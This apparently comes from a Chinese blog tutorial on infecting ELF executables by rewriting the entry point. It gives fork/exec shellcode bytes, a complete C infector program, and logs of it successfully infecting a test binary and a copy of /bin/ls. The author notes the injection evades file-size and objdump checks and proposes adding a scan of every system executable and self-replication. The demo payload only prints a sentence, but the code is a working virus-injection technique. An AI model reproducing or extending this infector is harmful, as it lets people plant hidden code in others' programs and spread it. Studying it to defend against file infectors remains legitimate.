修改ELF可执行文件entry入口感染一个程序

前面的文章在介绍如何将代码注入Linux内核模块的时候,我提到 “修改ELF文件或者PE文件的入口,让它跳到自己的逻辑”这件事很容易。

真的很容易吗?是的,真的很容易。本文就是要演示这个的。

还记得熊猫烧香病毒吧,包括它在内的早期计算机病毒都是靠这种方式来注入自己的代码并实现自我复制的,当然,它不一定修改的是入口地址,但肯定是修改了ELF/PE文件。

若想修改ELF文件,我们先要了解ELF文件的结构,这个只需要花10分钟大致浏览即可,本文不会花篇幅介绍ELF的相关概念。

<elf.h>头文件里已经包含了足够的数据结构和API供我们对ELF可执行文件进行修改,我们用就是了。

本文演示的例子很简单,就是感染一个既有的LEF可执行文件,首先,我们先提供该可执行文件的代码:

// hello.c
int main()
{
	printf("aaaaaaaaaaaaa\n");
}

我们将它编译成hello可执行文件。

接下来我们尝试用另一个程序去修改它的入口,新的入口逻辑如下:

if (fork() == 0) {
	exec("/bin/aa");
} else {
	goto orig_entry;
}

我们肯定不能往ELF文件里直接注入C代码,就好像我们不能往血管里注射拉面汤一样。所以我们必须得到上述逻辑的汇编指令码。

如何得到指令码呢?

我们手工把上面的C逻辑写成内联汇编,然后在编译成可执行文件,通过objdump就能查到汇编指令码:

void func()
{
	asm ("xor %rax, %rax;\n"
		 "mov $0x39, %al;\n" // fork的系统调用号
		 "syscall; \n"
		 "test %eax, %eax;\n"
		 "je exec;\n"
		 "nop; nop; nop; nop; nop;\n" // jmp orig 的5字节占位指令,运行时待定
		 "exec:\n"
		 "mov $0x61612f6e69622f, %r11;\n"
		 "push %r11\n;"
		 "mov $0x0, %edx;\n"
		 "mov $0x0, %rsi;\n"
		 "mov %rsp, %rdi;\n"
		 "mov $0x3b, %eax;\n"  // 填入exec的系统调用号
		 "syscall;\n"
		 "orig:\n"
		);
}

void main()
{
	func();
}

编译好后通过objdump -D我们可以得到下面的指令:

00000000004004cd <func>:
  4004cd:   55                      push   %rbp
  4004ce:   48 89 e5                mov    %rsp,%rbp
  4004d1:   48 31 c0                xor    %rax,%rax
  4004d4:   b0 39                   mov    $0x39,%al
  4004d6:   0f 05                   syscall
  4004d8:   85 c0                   test   %eax,%eax
  4004da:   74 05                   je     4004e1 <exec>
  4004dc:   90                      nop
  4004dd:   90                      nop
  4004de:   90                      nop
  4004df:   90                      nop
  4004e0:   90                      nop

00000000004004e1 <exec>:
  4004e1:   49 bb 2f 62 69 6e 2f    movabs $0x61612f6e69622f,%r11
  4004e8:   61 61 00
  4004eb:   41 53                   push   %r11
  4004ed:   ba 00 00 00 00          mov    $0x0,%edx
  4004f2:   48 c7 c6 00 00 00 00    mov    $0x0,%rsi
  4004f9:   48 89 e7                mov    %rsp,%rdi
  4004fc:   b8 3b 00 00 00          mov    $0x3b,%eax
  400501:   0f 05                   syscall

OK,我们将其整理后,会得到下面的stub_code数组:

unsigned char stub_code[] =
				"\x48\x31\xc0"									// xor    %rax,%rax
                "\xb0\x39"										// mov    $0x39,%al
                "\x0f\x05"										// syscall
				"\x85\xc0"										// test   %eax,%eax
				"\x74\x05"										// je     40070c <__FRAME_END__+0x14>
				"\x00\x00\x00\x00\x00" // index is 11			// jmpq   400430 <_start>
				"\x49\xbb\x2f\x62\x69\x6e\x2f\x61\x61\x00"		// movabs $0x61612f6e69622f,%r11
				"\x41\x53"										// push   %r11
				"\xba\x00\x00\x00\x00"							// mov    $0x0,%edx
				"\x48\xc7\xc6\x00\x00\x00\x00"					// mov    $0x0,%rsi
				"\x48\x89\xe7"									// mov    %rsp,%rdi
				"\xb8\x3b\x00\x00\x00"							// mov    $0x3b,%eax
				"\x0f\x05";										// syscall
#define RELJMP	11

原材料已经准备好,就等着将上面的数组里的字节码注入到hello程序了。

在实施注入之前,说明两点。

首先,注意上面的指令:

movabs $0x61612f6e69622f,%r11
push   %r11
mov    %rsp,%rdi

很明显,按照x86_64的函数调用参数规范,rdi寄存器里就是exec系统调用的第一个参数,即 “/bin/aa” ,但是exec的参数准备极其麻烦,且需要一个字符串,而我们知道,字符串是保存在ELF文件的单独的节的,我不想那么麻烦,再注入一个字符串,我只想注入一段代码,仅仅是代码,所以我这里取了个巧:

// 我将字符串编码到了一个long型的数字里。
char name[8] = {'/', 'b', 'i', 'n', '/', 'a', 'a', 0};
char *pname;
unsigned long pv = *(unsigned long *)&name[0];
// 0x61612f6e69622f,即 aa/nib/,小端转换为/bin/aa
pname = (char *)&pv; // pname就是aa

同时,我利用了push来使得该long型数字的指针保存在rsp中,这样只需要下面的操作,rdi寄存器里就是exec的第一个参数了:

push   %r11
mov    %rsp,%rdi

如此一来,就省去了复杂的字符串的保存和操作。好玩吗?在继续之前,/bin/aa到底是什么有必要揭露一下,它其实很简单,就是打印一句话:

int main()
{
    printf("rush tighten beat electric discourse\n"); // “赶紧打电话”的意思
}

我们希望的效果就是,所有被感染的程序(在我们的例子中,就是hello),在执行的时候,都会打印这么一句“赶紧打电话”的句子。

OK,让我们继续。

是时候给出修改entry的代码了,还是那句话,我不敢保证这个代码完全没有bug,但它足够简单,且能工作,为了展示效果,简单是最重要的。

代码如下:

#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>
#include <elf.h>

unsigned char stub_code[] =
				"\x48\x31\xc0"									// xor    %rax,%rax
				"\xb0\x39"										// mov    $0x39,%al
				"\x0f\x05"										// syscall
				"\x85\xc0"										// test   %eax,%eax
				"\x74\x05"										// je     40070c <__FRAME_END__+0x14>
				"\x00\x00\x00\x00\x00" // index is 11			// jmpq   400430 <_start>
				"\x49\xbb\x2f\x62\x69\x6e\x2f\x61\x61\x00"		// movabs $0x61612f6e69622f,%r11
				"\x41\x53"										// push   %r11
				"\xba\x00\x00\x00\x00"							// mov    $0x0,%edx
				"\x48\xc7\xc6\x00\x00\x00\x00"					// mov    $0x0,%rsi
				"\x48\x89\xe7"									// mov    %rsp,%rdi
				"\xb8\x3b\x00\x00\x00"							// mov    $0x3b,%eax
				"\x0f\x05";										// syscall
#define RELJMP	11

int main(int argc, char **argv)
{
	int fd, i;
	unsigned char *base;
	unsigned int size, *off, offs;
	unsigned long stub, orig;
	unsigned long clen = sizeof(stub_code);
	Elf64_Ehdr *ehdr;
	Elf64_Phdr *phdrs;

	// 这就是一个e9 jmp rel32指令
	stub_code[RELJMP] = 0xe9;
	off = (unsigned int *)&stub_code[RELJMP + 1];

	fd = open(argv[1], O_RDWR);
	size = lseek(fd, 0, SEEK_END);
	base = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);

	ehdr = (Elf64_Ehdr *) base;
	phdrs = (Elf64_Phdr *) &base[ehdr->e_phoff];
	shdrs = (Elf64_Shdr *) &base[ehdr->e_shoff];
	orig = ehdr->e_entry;

	for (i = 0; i < ehdr->e_phnum; ++i) {
		if (phdrs[i].p_type == PT_LOAD && phdrs[i].p_flags == (PF_R|PF_X)) {
			// 这里假设只有简单的一个可执行的程序头
			stub = phdrs[i].p_vaddr + phdrs[i].p_filesz;
			ehdr->e_entry = (Elf64_Addr)stub;
			// 为了跳回原来的入口,这里需要计算相对偏移
			offs = orig - (stub + RELJMP) - 5;
			// 待定的rel32终究被赋值了
			*off = offs;

			memcpy(base + phdrs[i].p_offset + phdrs[i].p_filesz, stub_code, clen);
			printf("fsie:%d   %08x\n", phdrs[i].p_filesz, ehdr->e_entry);

			phdrs[i].p_filesz += clen;
			phdrs[i].p_memsz += clen;
			break;
		}
    }
    munmap(base, size);
}

开始吧!来吧!

[root@localhost modentry]# cat test-1
gcc hello.c -o hello
gcc modelf.c -o modelf
./modelf ./hello
[root@localhost modentry]# ./test-1
hello.c: 在函数‘main’中:
hello.c:3:2: 警告:隐式声明与内建函数‘printf’不兼容 [默认启用]
  printf("aaaaaaaaaaaaa\n");
  ^
fsie:1788   004006fc
[root@localhost modentry]# ./hello
aaaaaaaaaaaaa
rush tighten beat electric discourse
[root@localhost modentry]# ./hello
aaaaaaaaaaaaa
[root@localhost modentry]# rush tighten beat electric discourse

[root@localhost modentry]# ./hello
aaaaaaaaaaaaa
[root@localhost modentry]# rush tighten beat electric discourse

成功感染!

让我们感染一个系统的命令看如何:

[root@localhost modentry]# cp /bin/ls ./
[root@localhost modentry]# ./modelf ./ls
fsie:103980   0041962c
[root@localhost modentry]# ./ls
hello  hello.c  ls  modelf  modelf.c	nop  pwd  test-1 
rush tighten beat electric discourse

成功感染!

我上面的感染代码非常简单,你可能觉得是错的。没错,它就是错的,因为它寄希望于程序后面有空余的空间,我甚至没有修改section的大小和文件的大小,我们发现,在注入感染前后,文件的大小并没有变化,而且还有更好 副作用

[root@localhost modentry]# /bin/ls
hello  hello.c  ls  modelf  modelf.c	nop  pwd  test-1  
[root@localhost modentry]# objdump -D /bin/ls >./lsdump1
[root@localhost modentry]# ./ls
hello  hello.c  ls  lsdump1  modelf  modelf.c  nop  pwd  test-1
rush tighten beat electric discourse
[root@localhost modentry]# objdump -D ./ls >./lsdump2
[root@localhost modentry]#
[root@localhost modentry]# diff lsdump1 lsdump2
2c2
< /bin/ls:     文件格式 elf64-x86-64
---
> ./ls:     文件格式 elf64-x86-64

我们看到,其objdump的结果没有任何区别。而如果我们把程序做完善了,反而更容易暴露,如果我在modelf.c中增加adjust sections size的操作,那么可执行文件被感染之后,objdump的结果将会多出下面的内容:

00000000004006f8 <__FRAME_END__>:
  4006f8:   00 00                   add    %al,(%rax)
  4006fa:   00 00                   add    %al,(%rax)
  4006fc:   48 31 c0                xor    %rax,%rax
  4006ff:   b0 39                   mov    $0x39,%al
  400701:   0f 05                   syscall
  400703:   85 c0                   test   %eax,%eax
  400705:   74 05                   je     40070c <__FRAME_END__+0x14>
  400707:   e9 24 fd ff ff          jmpq   400430 <_start>
  40070c:   49 bb 2f 62 69 6e 2f    movabs $0x61612f6e69622f,%r11
  400713:   61 61 00
  400716:   41 53                   push   %r11
  400718:   ba 00 00 00 00          mov    $0x0,%edx
  40071d:   48 c7 c6 00 00 00 00    mov    $0x0,%rsi
  400724:   48 89 e7                mov    %rsp,%rdi
  400727:   b8 3b 00 00 00          mov    $0x3b,%eax
  40072c:   0f 05                   syscall

仔细看,是不是我们注入的代码呢?

最后,我要解释一下,为什么要调用exec执行外部程序呢?直接把代码灌进去不是更直接吗?

是的,这个我肯定知道,但是:

  1. 这只是演示程序,我不想在单独的stub_code里搞得太复杂而失去可玩性。
  2. 由于entry处尚未初始化libc以及库函数,因此调用printk可能会出现问题。
  3. 在stub_code里做打印操作,会让字节码变得非常冗余复杂。

然而,我的目标已经彰显,如果不怕费事,完全可以在stub_code里塞入下面的逻辑:

  • 扫描系统所有的可执行文件,注入每一个可执行文件本文展示的代码。
  • 代码添加自我复制功能。

为经理下订单,购买¥18000的皮鞋以及¥49800的西裤,货到付款。


浙江温州皮鞋湿,下雨进水不会胖。

  • 6
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值